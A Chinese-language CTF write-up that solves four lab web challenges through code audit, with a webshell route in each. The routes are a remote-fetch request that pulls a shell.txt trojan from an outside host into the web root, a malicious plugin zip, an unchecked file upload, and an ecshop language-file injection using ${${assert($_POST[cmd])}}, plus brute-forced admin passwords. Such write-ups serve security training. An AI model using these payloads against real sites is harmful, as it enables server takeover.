December 18th 2019, 11:20:08 am
Threezh1 Jokuuy Playmaker 2019年11月23日
离结束只有40多分钟了,web题ak了之后不会修… 把wp写一下吧。web四个题都是简单的代码审计题。
粤湾基金
地址: http://172.16.9.41:9005/
是一个TPshop的商城框架,界面如图所示:
漏洞文件:\application\home\controller\Test.php
漏洞函数:dlfile()
1 2 3 4 5 6 7 8 9 10 11 12
| public function dlfile($file_url, $save_to) { $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 0); curl_setopt($ch,CURLOPT_URL,$file_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $file_content = curl_exec($ch); curl_close($ch); $downloaded_file = fopen($save_to, 'w'); fwrite($downloaded_file, $file_content); fclose($downloaded_file); }
|
本地写一个包含一句话的木马(shell.txt)然后访问:
1
| /Home/Test/dlfile?file_url=http://xxxx/shell.txt&save_to=/var/www/html/shell.php
|
然后用蚁剑连接:/shell.php 即可。
粤湾期货
地址: http://172.16.9.41:9006/
是一个emlog搭建的站点,以前打算审的,放弃了。界面如下:
找到后台路径:/admin/
用户名admin,爆破出密码为admin12345 进入后台
后台有一个上传插件的点,验证压缩包格式的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| function emUnZip($zipfile, $path, $type = 'tpl') { if (!class_exists('ZipArchive', FALSE)) { return 3; } $zip = new ZipArchive(); if (@$zip->open($zipfile) !== TRUE) { return 2; } $r = explode('/', $zip->getNameIndex(0), 2); $dir = isset($r[0]) ? $r[0] . '/' : ''; switch ($type) { case 'tpl': $re = $zip->getFromName($dir . 'header.php'); if (false === $re) return -2; break; case 'plugin': $plugin_name = substr($dir, 0, -1); $re = $zip->getFromName($dir . $plugin_name . '.php'); if (false === $re) return -1; break; ...
|
从代码可知,一个插件名字叫做plugin,压缩包里面的内容就需要为plugin/plugin.php,不然格式就会验证错误。
将一句话的shell写入plugin.php,上传之后会被解压,然后访问即可getshell。
粤湾投资
地址: http://172.16.9.41:9007/
陈师傅以前审过的一个cms,快速的拿到了一血。当时没有截到这个cms的图,所以就直接看具体的代码吧:
任意文件上传:
echo/Apps/Home/Controller/UploadfileController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130
|
public function index(){ if(IS_POST){
$type = I('post.type','files'); $saveDir = I('post.savedir'); $thumbw = I('post.thumbw'); $thumbh = I('post.thumbh'); $filesize = I('post.filesize'); if($type == 'images' || preg_match('/^image\//', $_FILES['Filedata']['type'][0])){ $type = "images"; $water = I('post.water');
if($water){ $water_site = C('SITE_SYSTEM_IMG_WATER'); $water_new = isset($water_site) && !empty($water_site) ? $water_site : C('SYSTEM_IMG_WATER'); $info = uploadPhoto($saveDir.'/'.$type,$thumbw,$thumbh,$water_new,$filesize); } else { $info = uploadPhoto($saveDir.'/'.$type,$thumbw,$thumbh,'',$filesize); }
if(!is_array($info)){ $error_data['info'] = $info; $error_data['status'] = 0; $this->ajaxReturn($error_data); }
$file['oringinal_type'] = 'images'; $file['status'] = 1; $file['name'] = $_FILES['Filedata']['name'][0]; $file['savename'] = $info[0]['savename']; $file['photo'] = substr($info[0]['savepath'],1).$info[0]['savename']; $file['thumb'] = $info[0]['thumbpath']; $file['location'] = 'upload'; $this->ajaxReturn($file); } else { $type = 'files'; $upload = new \Think\Upload(); $upload->maxSize = $filesize*1024; $upload->rootPath = "./"; $upload->savePath = $upload->rootPath."Public/Uploads/".$saveDir."/" . $type ."/"; $upload->saveName = date("YmdHis")."_".uniqid(); $upload->replace = true; $upload->autoSub = true; $upload->subName = date("Ymd"); $upload->hash = true;
if(!$info = $upload->upload()){ $error_data['status'] = 0; $error_data['info'] = $upload->getError(); $this->ajaxReturn($error_data); } else { if(in_array($info[0]['ext'], array('xls','xlsx'))){ $info[0]['ext'] = 'xls'; } if(in_array($info[0]['ext'], array('ppt','pptx'))){ $info[0]['ext'] = 'ppt'; } if(in_array($info[0]['ext'], array('doc','docx'))){ $info[0]['ext'] = 'doc'; } if(in_array($info[0]['ext'], array('wma','mp3','mid','wav'))){ $info[0]['ext'] = 'mp3'; } if(in_array($info[0]['ext'], array('avi','mov','mpeg','mpg','swf','mp4'))){ $info[0]['ext'] = 'vedio'; } if(in_array($info[0]['ext'], array('zip','rar','7z'))){ $info[0]['ext'] = 'zip'; } if(!file_exists("./Public/images/uploadfile/".$info[0]['ext'].".png")){ $info[0]['ext'] = "readme"; } $info[0]['status'] = 1; $info[0]['oringinal_type'] = 'files'; $info[0]['savepathall'] = substr($info[0]['savepath'],1).$info[0]['savename']; $info[0]['location'] = 'upload'; $this->ajaxReturn($info[0]); } } } else { $site_thumbw = C('SITE_SYSTEM_THUMB_WIDTH'); $site_thumbh = C('SITE_SYSTEM_THUMB_HEIGHT'); $thumbw = isset($site_thumbw) && !empty($site_thumbw) ? C('SITE_SYSTEM_THUMB_WIDTH') : C('SYSTEM_THUMB_WIDTH'); $thumbh = isset($site_thumbh) && !empty($site_thumbh) ? C('SITE_SYSTEM_THUMB_HEIGHT') : C('SYSTEM_THUMB_HEIGHT'); $this->thumbw = I('get.thumbw',$thumbw); $this->thumbh = I('get.thumbh',$thumbh); $this->thumbw = $this->thumbw === 0 ? $thumbw : $this->thumbw; $this->thumbh = $this->thumbh === 0 ? $thumbh : $this->thumbh;
$this->type = I('get.type',''); $this->myid = I('get.myid',''); $this->iframe = I('get.iframe',''); $this->field = I('get.field',''); $this->returntype = I('get.returntype','multiple');
$this->filesize = I('get.filesize'); if(empty($this->filesize)){ if($this->type == 'images'){ $this->filesize = 3072; } else { $this->filesize = 102400; } }
$this->savedir = I('get.savedir','uploadfile'); $this->display(); } }
|
可以看到没对上传的文件进行后缀验证,可造成任意文件上传。直接getshell。
粤湾租赁
地址: http://172.16.9.41:9008/
一个ecshop的商城框架,版本还挺新的。(里面的商品都是小米的???) 界面如下:
跟第二题一样的,爆破进入后台。
用户名:admin
密码:admin123
进来后台可以查到最近文件的修改记录,直接看到了edit_languages.php在最近有修改过,于是直接就去审它了。
漏洞点:\admin\edit_languages.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| elseif ($_REQUEST['act'] == 'edit') { $lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
$src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';
$dst_items = array(); $_POST['item_id'] = stripslashes_deep($_POST['item_id']);
for ($i = 0; $i < count($_POST['item_id']); $i++) { if (trim($_POST['item_content'][$i]) == '') { unset($src_items[$i]); } else { $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]); $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
} }
$result = set_language_items($lang_file, $src_items, $dst_items);
|
可以看到从post中获取到的file_path和item传入到了set_language_items。
跟踪过去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| function set_language_items($file_path, $src_items, $dst_items) { if (file_mode_info($file_path) < 2) { return false; }
$line_array = file($file_path); if (!$line_array) { return false; } else { $file_content = implode('', $line_array); }
$snum = count($src_items); $dnum = count($dst_items); if ($snum != $dnum) { return false; } ksort($src_items); ksort($dst_items); for ($i = 0; $i < $snum; $i++) { $file_content = str_replace($src_items[$i], $dst_items[$i], $file_content);
}
$f = fopen($file_path, 'wb'); if (!$f) { return false; } if (!fwrite($f, $file_content)) { return false; } else { return true; } }
|
可以看到并未对写入的内容做严格的过滤。
拿flag的步骤:
进入到模板管理 => 语言项编辑 => 选择user.php => 搜索 用户信息
将内容用户信息处修改为:${${assert($_POST[cmd])}}
当时蚁剑连接user.php没有成功。使用了另外一种方式:
POST数据:cmd=hightlight_file($_GET[a])
,传入一个a=/flag
读取到的flag。